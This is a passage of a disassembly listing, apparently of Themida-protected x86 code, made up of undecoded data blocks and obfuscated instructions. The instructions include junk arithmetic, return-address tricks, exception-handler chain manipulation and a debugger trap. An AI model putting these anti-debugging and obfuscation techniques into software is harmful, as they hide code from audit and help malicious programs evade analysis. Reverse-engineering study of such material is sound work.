		dd 2D000000h, 84A90AB0h, 0FF4C57C1h, 138C1158h,	2BF43970h
		dd 42E34009h, 5FC06D20h, 752E733Eh, 8B1499D4h, 0A47DA2E7h
		dd 0BF60CD84h, 0FA4AD792h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edx
		mov	eax, 0F0B1009h
		push	ebp
		mov	ebp, 70F842A3h
		sub	ebp, 33B409DEh
		not	ebp
		shr	ebp, 3
		xor	ebp, 4991541Eh
		add	eax, ebp
		pop	ebp
		shl	eax, 6
		xor	eax, 32E3C099h
		push	706h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	eax
		add	dword ptr [esp], 3FBA342Ah
		pop	dword ptr [edx+8]
		push	ebp
		mov	ebp, 3FBA342Ah
		sub	[edx+8], ebp
		pop	ebp
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		dw 3FD7h
		dd 22E4506Bh, 0ADE0EB51h, 0AC84F7B8h, 0FFC50306h, 0C2984AE0h
		dd 0E3A07749h, 0F580BE63h, 1EDD6E4Eh, 7B559627h, 0C9FDC639h
		dd 93A76C16h, 0A4D62B68h, 421CC657h, 79A46F2Eh,	85858D0Fh
		dd 6A06A833h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 4A48C350h, 8B6650DEh, 240489FBh
		dd 9963BF66h, 0FE9006Ah, 82000000h, 6DD22492h, 3D0EE036h
		dd 7F9AE827h, 6A016Dh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 18h, 0D5C35141h, 7E2E3EA4h, 87B1858Dh, 0F78106ACh
		dd 20CF566h, 6A05C083h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 90BCC356h, 0D98B6677h
		dd 52506090h, 310F5250h, 310F585Ah, 310F5250h, 585A585Ah
		dd 0F525053h, 5B585A31h, 0FE85061h, 8E000000h, 0CE921CC5h
		dd 0D8409E25h, 8FF3D9D7h, 53BF7596h, 5B654F17h,	35BD8B90h
		dd 6A06A82Eh, 0EB816600h, 6AE492h, 1BA1BD89h, 95FF06A8h
		dd 6A82541h, 6E08BF66h,	8C7F8D8Dh, 6A06ABh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0AD14EAC3h
		dd 58619B11h, 0CE9F40Fh, 22000000h, 4D363072h, 8B01D306h
		dd 60C3F75Eh, 66FABF0Fh, 0A1CCF781h, 81D1FF61h,	0E0DDBEC3h
		dd 9DBD834Dh, 106A833h,	8C850Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 0A7D144C3h
		dd 0F92AD8BDh, 6A026Ah,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 0A81467C3h, 0E9A8D780h, 0Bh, 31F21421h
		dd 9A29E047h, 50C95086h, 89DF8B66h, 6A2404h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 5AE759C3h
		dd 5D8501BCh, 0FF06A830h, 0A81E1D95h, 0C7816606h, 9E99904h
		dd 0E800000Eh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 6AC87BBh
		push	0
		push	ebx
		call	sub_5921DA
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5921DA	proc near		; CODE XREF: Themida_:005921D2p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_5921DA	endp

; ---------------------------------------------------------------------------
		or	al, 51h
		lodsd
		int	3		; Trap to Debugger
		idiv	byte ptr [edi]
		mov	al, 8Fh
		or	eax, 0D88B66ACh
		jmp	loc_592205
; ---------------------------------------------------------------------------
		adc	ah, bh
		push	ebp
		pop	es
		mov	edi, 0BBF471E9h


loc_592205:				; CODE XREF: Themida_:005921F7j
		lea	eax, [ebp+6AB7E2Eh]
		push	esi
		or	bh, 58h
		pop	ebx
		nop
		jmp	loc_59221B
; ---------------------------------------------------------------------------
		dec	ebp
		rol	byte ptr [ebx+0], 6Fh


loc_59221B:				; CODE XREF: Themida_:00592211j
		push	eax
		jmp	loc_59222B
; ---------------------------------------------------------------------------
		add	ds:6D439BCBh, eax
		jge	short locret_592266
		adc	al, 0EEh


loc_59222B:				; CODE XREF: Themida_:0059221Cj
		nop
		pusha
		mov	[ebp+6A829BDh],	edi
		jz	near ptr loc_592240+4
		call	near ptr loc_592240+3
		mov	ah, 0E1h


loc_592240:				; CODE XREF: Themida_:00592239p
					; Themida_:00592233j
		or	eax, 6158015Eh
		push	large dword ptr	fs:0
		push	0
		push	edx
		call	sub_592257
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_592257	proc near		; CODE XREF: Themida_:0059224Fp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx

locret_592266:				; CODE XREF: Themida_:00592227j
		retn
sub_592257	endp

; ---------------------------------------------------------------------------
		mov	cl, 0FAh
		sbb	[eax-75h], edx
		popf
		and	eax, 5F06A801h
		adc	bh, 7Fh
		mov	large fs:0, esp
		push	0
		push	esi
		call	sub_592287
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_592287	proc near		; CODE XREF: Themida_:0059227Fp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_592287	endp

; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------
		fdivr	qword ptr [ecx-2704200Bh]
		or	[ecx-57E08E73h], cl
		push	es
		inc	dword ptr [ebp+6A833F1h]
		push	0
		push	ecx
		call	sub_5922B6
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5922B6	proc near		; CODE XREF: Themida_:005922AEp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_5922B6	endp

; ---------------------------------------------------------------------------
		dec	eax
		dec	ebp
		pop	eax
		imul	ebp, [ebx+6A152925h], -1
		push	0
		push	ebp
		call	sub_5922DB
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5922DB	proc near		; CODE XREF: Themida_:005922D3p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_5922DB	endp

; ---------------------------------------------------------------------------
		db 6Dh
; ---------------------------------------------------------------------------
		mov	edi, edx
		push	dword ptr [ebp+6A81535h]
		push	0
		push	eax
		call	sub_5922FF
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5922FF	proc near		; CODE XREF: Themida_:005922F7p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_5922FF	endp

; ---------------------------------------------------------------------------
		imul	edx, [ebx+647E7BCh], 75h
		movzx	edi, si
		mov	[ebp+6A80FF1h],	ecx
		call	dword ptr [ebp+6A82A7Dh]
		jmp	loc_592421
; ---------------------------------------------------------------------------
		sub	[ebp+6A800B1h],	edx
		mov	al, 0
		jmp	loc_592340
; ---------------------------------------------------------------------------
		db 0Ch
		dd 0FE015C1Ah, 95F33FAFh
; ---------------------------------------------------------------------------


loc_592340:				; CODE XREF: Themida_:00592332j
		out	70h, al		; CMOS Memory:
					; used by real-time clock
		cld
		in	al, 71h		; CMOS Memory
		clc
		mov	bh, 0B7h
		cmp	al, 61h
		jnb	loc_592421
		mov	[ebp+6A83191h],	ecx
		mov	edi, [ebp+6A82FB1h]
		movzx	ecx, al
		mov	di, cx
		mov	edx, 6
		mov	ebx, [ebp+6A829B1h]
		mov	eax, ecx
		mov	[ebp+6A81D85h],	edi
		shr	eax, 4
		mov	[ebp+6A824E5h],	edx
		mul	dx
		sub	ecx, eax
		mov	[ebp+6A80E09h],	esi
		mov	edx, ecx
		sub	[ebp+6A815DDh],	esi
		jmp	loc_59239C
; ---------------------------------------------------------------------------
		mov	[ebp+6A808E5h],	edi


loc_59239C:				; CODE XREF: Themida_:00592391j
		mov	eax, [ebp+6A82F45h]
		jmp	loc_5923AE
; ---------------------------------------------------------------------------
		push	eax
		lds	ebp, [esi+62D77B8Ah]


loc_5923AE:				; CODE XREF: Themida_:005923A2j
		add	eax, 7
		jmp	loc_5923CA
; ---------------------------------------------------------------------------
		dw 0D6E1h
		dd 8E72E8CFh, 0EE59DA6Dh, 0B77CEBEDh, 0B8D00638h
		db 7Bh,	2Dh
; ---------------------------------------------------------------------------


loc_5923CA:				; CODE XREF: Themida_:005923B1j
		add	eax, 0
		mov	[ebp+6A81F05h],	eax
		cmp	edx, eax
		jnb	loc_5923EE
		push	esi
		xor	[ebp+6A80FEDh],	eax
		pop	edi
		jmp	loc_592421
; ---------------------------------------------------------------------------
		mov	edi, [ebp+6A816F1h]


loc_5923EE:				; CODE XREF: Themida_:005923D5j
		mov	ecx, [ebp+6A8259Dh]
		mov	[ebp+6A81675h],	edi
		and	ecx, 1
		jz	loc_592421
		add	[ebp+6A82B85h],	esi
		and	dword ptr [ebp+6A8259Dh], 0FFFFFFFEh
		mov	[ebp+6A82F45h],	edx
		mov	[ebp+6A81EBDh],	ebx
		jmp	$+5


loc_592421:				; CODE XREF: Themida_:00592325j
					; Themida_:0059234Aj ...
		lea	esi, [ebp+6ABF073h]
		push	0
		push	esi
		call	sub_592432
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_592432	proc near		; CODE XREF: Themida_:0059242Ap

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_592432	endp

; ---------------------------------------------------------------------------
		push	ss
		sbb	eax, [eax+6A2BCFh]
		call	dword ptr [ebp+6A81B31h]
		pusha
		adc	bx, 6C63h
		jmp	loc_59246B
; ---------------------------------------------------------------------------
		dw 424h
		dd 74B6D8E9h, 0AF535337h, 8AA5B87Ah
; ---------------------------------------------------------------------------
		and	[eax-7Ch], bl


loc_59246B:				; CODE XREF: Themida_:00592455j
		popa
		mov	ecx, 860h
		mov	edi, [ebp+6A82FCDh]
		and	ecx, 0FFFFFFFCh
		push	0
		push	edx
		call	sub_592485
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_592485	proc near		; CODE XREF: Themida_:0059247Dp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_592485	endp

; ---------------------------------------------------------------------------
		db 69h,	0E9h, 7
		dd 0A4000000h, 1CE31A9Dh, 0FFC8F50h, 0B8FBBFh, 0E8000000h
		dd 13h,	79356584h, 310AC5E4h, 8A321DCFh, 8554FF7h, 666FE882h
		dd 2B5FFE8Bh, 0FE8B66D2h, 0D1C233ADh, 83D003E8h, 0F47504E9h
		dd 14B5BD8Bh, 12E806A8h, 0BE000000h, 0B7CBF74h,	0B82C153Ah
		dd 82691097h, 0F4F5AC3Fh, 0CEBB661Fh, 860F5BA6h, 3, 0DDAB70Fh
		dd 88h,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h
		dd 0E7C35646h, 0CEDEBBE4h, 958B63CEh, 6A805B9h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 50C35040h, 94679A40h
		dd 4DBD017Ah, 8B06A827h, 698D8BD9h, 0B706A814h,	0C28B501Bh
		dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 8958188Bh, 0A805DD95h
		dd 0F8BF0F06h, 0CA18D89h, 0BD8306A8h, 6A80C91h,	68840F00h
		dd 89000000h, 0A826498Dh, 0B806h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 3A0AE4C3h
		dd 1765BD8Bh, 8D8D06A8h, 6A84FAFh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 6BC35545h, 0A7538BC4h, 0A8277DDFh
		dd 0FE1FFA2h, 68Bh, 0B1858900h,	8306A833h, 0A80BBDBDh
		dd 840F0006h, 414h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 0AEC35646h, 204B0B7Bh, 0BD8B0393h, 6A83235h
		dd 0BBDBD83h, 0F0106A8h, 3FA84h, 31958900h, 8B06A809h
		dd 0A832E99Dh, 0BDBD8306h, 306A80Bh, 3AB860Fh, 5FBF0000h
		dd 6060C5A7h, 6AD98C66h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 0FAC4C351h,	7E9BEh
		dd 0D28D0000h, 0ED49311Ch, 4E1800Ch, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 7AC35545h, 0AA72EC15h, 85892F3Bh
		dd 6A80E65h, 840FC90Ah,	131h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 48C35646h, 57BE3E34h, 858B1B21h
		dd 6A80BE1h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 14h,	2C35646h, 14E8h, 313E5100h, 103329DBh, 0DBD7CA15h
		dd 22E07A47h, 0D6C10AF5h, 0E7BB666Fh, 85335FBBh, 6A81D5Dh
		dd 50F8B70Fh, 48986B7h,	9E824h,	29710000h, 0E9F991F9h
		dd 0FBEF2FBh, 684h, 0C1953100h,	5B06A831h, 0B501006Ah
		dd 6A81589h, 9668F88Ah,	50FE804Bh, 4DE1BF52h, 310F68B1h
		dd 585ADA8Bh, 69240481h, 0F9019EB8h, 74195FFh, 0BF6606A8h
		dd 0AE99AECh, 0CF000000h, 4CDCADA1h, 55A33045h,	27858904h
		dd 6A06ABA2h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 0B40BC355h, 0D4ED4122h, 0F1B58903h
		dd 0F06A831h, 0F8Dh, 0AE900h, 0A8F20000h, 0C26B2147h, 0A1DDB2A0h
		dd 1E3E9h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1804h, 0C3514100h, 3B09EEFDh, 1F858B84h, 6A06ABA2h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 0BADC351h, 89F97C55h, 0A8258585h,	1800C706h
		dd 8B000000h, 0A81491BDh, 23B58B06h, 6A06ABA2h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 4E2AC357h, 8BE5087Eh, 0A82B7D85h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 7E316BAEh
		dd 0EE989h, 3E460000h, 857FC258h, 10B2252Ah, 789A837Ah
		dd 0BFD88B66h, 55A6EEA8h, 6A0689h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 7E90EDC3h, 3BE781DAh
		dd 8B2C116Ah, 0A80BE185h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 0FCA4A3B1h
		dd 66044689h, 50C18BBFh, 7E95250h, 0D000000h, 0CE7E1C51h
		dd 310FB639h, 2820Fh, 61600000h, 3489585Ah, 0F1BD2B24h
		dd 8106A824h, 0C9E16DF7h, 1FB5FF5Ch, 0F06ABA2h,	5268DABFh
		dd 8AE5D588h, 240481FCh, 1A497BADh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 88C35545h, 0BE41B53Bh, 0CDC6D70h
		dd 0B9BD8B22h, 8D06A82Fh, 0ABA22785h, 51006A06h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
		dd 4ACAF671h, 0BD49E1D8h, 0BF0FB29Ah, 0BE850FAh, 7000000h
		dd 63FBA866h, 2DD4F7D9h, 0DE88A9Fh, 34000000h, 0C620F8DEh
		dd 40226D46h, 8597D33Ch, 4895F5Fh, 5BD8B24h, 0FF06A80Fh
		dd 0A8074195h, 0DAB70F06h, 0CD9D2361h, 0C706A816h, 0A80BBD85h
		dd 306h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1604h, 0C3504000h, 294B8361h, 0A815418Dh, 27BD8306h
		dd 6ABA2h, 0F840Fh, 81660000h, 0E92D34E3h, 20h,	0FA8B6653h
		dd 0C30505Bh, 11440011h, 10E8C101h, 2114430h, 3114C00h
		dd 4E98358h, 36EBE775h,	11043050h, 1116400h, 3010E8C1h
		dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
		dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
		dd 0C08B00EBh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ch,	0D8C35242h, 0EF843825h,	0B716DFBAh, 2F359D8Bh
		dd 9D8B06A8h, 6A80675h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 14h, 83C35040h, 0BBDBD83h,	0F0306A8h, 50585h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 0E83EABCEh, 0Bh,	5E0B4067h, 55E2F277h, 5B60A34Dh
		dd 0A227BD83h, 0F0006ABh, 4C984h, 0DD2BBF00h, 0B5FF7FE9h
		dd 6ABA227h, 0C38166F8h, 95FFE18Dh, 6A815F9h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 6C35040h, 24C345F1h
		dd 1BB58B2Dh, 6A06ABA2h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 707AC353h, 1FCFCE9h
		dd 0E781049Eh, 2D8A10C7h, 106C7h, 6A0001h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 5149ADC3h
		dd 433527C0h, 348950FCh, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 1461FF27h, 0A98589B2h
		dd 0FF06A81Bh, 0ABA227B5h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 0DA8B6604h
		dd 0F598D89h, 95FF06A8h, 6A82199h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 0ACC35343h,	7BBEFAC4h, 21F59D0Bh
		dd 9D8B06A8h, 6A82595h,	0A21BB58Bh, 7E906ABh, 86000000h
		dd 0B8D62068h, 858B7811h, 6A80E41h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 6DC35747h, 0E95620E8h, 0BD0B80AAh
		dd 6A83495h, 3C81E781h,	86893D8Ch, 0C4h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Dh, 0BC35646h, 0AD11679Dh
		dd 494ECF8Ch, 459D8BBCh, 8B06A81Bh, 0A805B995h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 259589CDh
		dd 8306A801h, 6A04C2h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 8B6095C3h, 0CA8B66D0h, 0F133BB61h
		dd 50895DCFh, 52006A20h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1B04h, 0C3524200h, 8986050Ah, 0B7CA755Dh, 11E9h, 35B62B00h
		dd 3D16A50Ch, 3F65967Fh, 49A6F1E9h, 858D41C4h, 6ABB7CEh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 44C35343h
		dd 0B88689h, 0BD8B0000h, 6A830B5h, 6A006Ah, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 904350C3h
		dd 7E8h, 2DD88600h, 3A9F5D9Bh, 33F59D89h, 0FF5B06A8h, 0ABA227B5h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 800F31C4h, 5, 0A2F8CEBBh, 1D95FF33h, 8B06A81Eh
		dd 0A8321D9Dh, 14E99606h, 0BF000000h, 0DF698791h, 912E5BCFh
		dd 3A4B9540h, 0CA37D555h, 502241F1h, 69343ABBh,	6A9621h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 0D25DD4C3h, 27B5FF8Ch, 8106ABA2h, 0D7047DEFh, 3880F06h
		dd 66000000h, 95FFDE8Bh, 6A82A69h, 5352EB80h, 0D5953360h
		dd 8906A805h, 0A83229BDh, 835F6106h, 0A82E3DBDh, 840F0006h
		dd 73h,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah
		dd 43C35545h, 0AD0D7618h, 853114F0h, 6A80BD5h, 14850F96h
		dd 0E9000000h, 0Fh, 8E55CD3Ch, 2874B18Eh, 0D40674B7h, 50CD17E2h
		dd 0C942EABFh, 6A965Bh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 0AAD27BC3h, 9A3F409Bh, 0A1B5893Ch
		dd 0FF06A81Ah, 0ABA227B5h, 95FFF906h, 6A83185h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0F9C35747h, 983A5480h
		dd 0C242FB19h, 1AD8D31h, 0B5FF06A8h, 6ABA227h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 1EC35141h, 0F5595FFh
		dd 0BD8B06A8h, 6A81BA1h, 0BD836FB7h, 6A8077Dh, 82840F02h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 54B9C351h, 80BD1F2Dh, 0D19858Bh
		dd 6A06A8h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 358DD7C3h, 880F3D91h, 6, 31B99D2Bh, 0C606A8h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 0D0127FD9h, 0F6044D4h, 0B589D0BFh, 6A82559h
		dd 0C185C761h, 6A80Dh, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0FEFEC352h
		dd 0F64730Eh, 1BE9F8BFh, 0E8FFFFF3h, 8,	6309A631h, 0AB9EBE27h
		dd 2FB98501h, 8B5F06A8h, 0FBB70FC1h, 3385858Dh,	0BE806A8h
		dd 0A5000000h, 82013818h, 99C63DE7h, 8DB3F1DBh,	8B66905Fh
		dd 525050D8h, 10E851h, 0F5B60000h, 1D195246h, 98FE002Ch
		dd 3CC6669Dh, 5F5BFD79h, 8E8310Fh, 2000000h, 63E3EFA3h
		dd 6005C581h, 585A5B61h, 1CBB6690h, 0E9006A52h,	0Bh, 0E580F0F9h
		dd 6CE6052Ah, 6A88B34Bh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 0D5CBDF45h, 0A55154CDh
		dd 9D2B7899h, 6A81EC1h,	97E0858Dh, 6A06ACh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 0EEC460C3h
		dd 564BEBB2h, 33A19529h, 605F06A8h, 0E9BD33F8h,	6106A829h
		dd 6A05C083h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 863DC351h, 0B7531B71h,	68D0F60h
		dd 0F000000h, 8Bh, 7D9D8B00h, 6106A826h, 14E850h, 72E80000h
		dd 59DA6D8Eh, 7CEBEDEEh, 0D00638B7h, 0EC2D7BB8h, 0BB6695AAh
		dd 895BA915h, 90B72404h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 5DB30EC3h, 28929EE7h
		dd 0CB81006Ah, 1AB427CFh, 254195FFh, 6A06A8h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 0E09FA3C3h
		dd 33A64BD1h, 0D88ACE27h, 8C7F8D8Dh, 6A06ABh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 528BE5C3h
		dd 82DE7EACh, 3820F6Eh,	80000000h, 0DB80CBF3h, 83D1FFA1h
		dd 0A8339DBDh, 850F0106h, 61h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 89C35040h, 18588413h, 66C0BF66h
		dd 0E8B3026Ah, 0FBBF6650h, 2404895Dh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 0A3C35545h,	95FF0D83h, 6A81E1Dh
		dd 8E9h, 0EAABBA00h, 0F26F6351h, 0E04E98Ah, 0E80000h, 5D000000h
		dd 97EAED81h, 0C78006ACh, 50006AE1h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 711B1F9Bh
		dd 0D93A7796h, 858D2378h, 6AB7E2Eh, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 48C35646h, 9D2B2254h, 6A831DDh
		dd 50515090h, 5A310F52h, 505F5F58h, 310F5250h, 0FE85250h
		dd 0DF000000h, 74739E56h, 0A2B22F52h, 198926Eh,	0F5B82E2h
		dd 5A585A31h, 6A9058h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 4BE1CAC3h, 0FACD4B16h, 0F9B7E90Dh
		dd 5E8h, 59FAE00h, 0B589F1D9h, 6A8342Dh, 35FF645Fh, 0
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5932C7
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5932C7	proc near		; CODE XREF: Themida_:005932BFp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_5932C7	endp

; ---------------------------------------------------------------------------
		db 5Ah
		dd 0CD03222Eh, 0F8AB6022h, 258964F9h, 0
; ---------------------------------------------------------------------------
		mov	[ebp+6A802D9h],	eax
		mov	di, si
		inc	dword ptr [ebp+6A833F1h]
		xor	ebx, [ebp+6A832F5h]
		push	0FFFFFFFFh
		and	ebx, 48C0C948h
		push	dword ptr [ebp+6A805FDh]
		push	0
		push	eax
		call	sub_593316
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_593316	proc near		; CODE XREF: Themida_:0059330Ep

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_593316	endp

; ---------------------------------------------------------------------------
		dw 0F976h
		dd 66FD3B10h, 0FFF5FE8Bh, 0A82A7D95h, 14AE906h,	8B600000h
		dd 0A81BA18Dh, 14E906h,	0EE380000h, 694F5B9Eh, 4BCC70D7h
		dd 6C376753h, 709718CAh, 0B061960Ch, 0CE96000h,	0B0000000h
		dd 2D798CB7h, 41340172h, 8B30148Fh, 0A83071BDh,	70E66106h
		dd 71E4D88Bh, 1B3D9D29h, 613C06A8h, 0FA830Fh, 9D8B0000h
		dd 6A826B1h, 89C8B60Fh,	0A806B1B5h, 6BA06h, 77BB0000h
		dd 8B1CDB03h, 0C1DE8BC1h, 0DEBB04E8h, 66423012h, 2BF9E2F7h
		dd 0F58D09C8h, 8B06A80Dh, 0F38166D1h, 7E9CA2Fh,	51000000h
		dd 1366C6BFh, 858B5B64h, 6A83005h, 68D0Fh, 0BD8B0000h
		dd 6A8166Dh, 8B07C083h,	0A834199Dh, 0C08306h, 7F9B529h
		dd 0D03B06A8h, 27830Fh,	0B5290000h, 6A81F29h, 7FE9h, 13E800h
		dd 53F70000h, 864DB613h, 5F7C001h, 9B973921h, 0ED9B5DBFh
		dd 0FBB70F56h, 0ED8D8B5Bh, 6606A801h, 0E183FE8Bh, 51840F01h
		dd 81000000h, 3D6391F3h, 10E84Dh, 8D050000h, 0A752DCEBh
		dd 256D5BE4h, 0A661A1BBh, 5FFC3779h, 1EDA583h, 66FE06A8h
		dd 89251BBBh, 0A8300595h, 7E806h, 90B10000h, 0FFA8DA92h
		dd 0CE938h, 0D8E20000h,	53F3FD09h, 0B5EE514Fh, 0E95FB986h
		dd 0
; ---------------------------------------------------------------------------
		lea	esi, [ebp+6ABFAE9h]
		mov	edi, ebx
		push	0
		mov	edi, 109B4DD1h
		call	dword ptr [ebp+6A81B31h]
		jz	loc_5934A5
		sub	[ebp+6A83419h],	ecx


loc_5934A5:				; CODE XREF: Themida_:00593499j
		mov	ecx, 86Fh
		push	0
		push	ebx
		call	sub_5934B5
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5934B5	proc near		; CODE XREF: Themida_:005934ADp

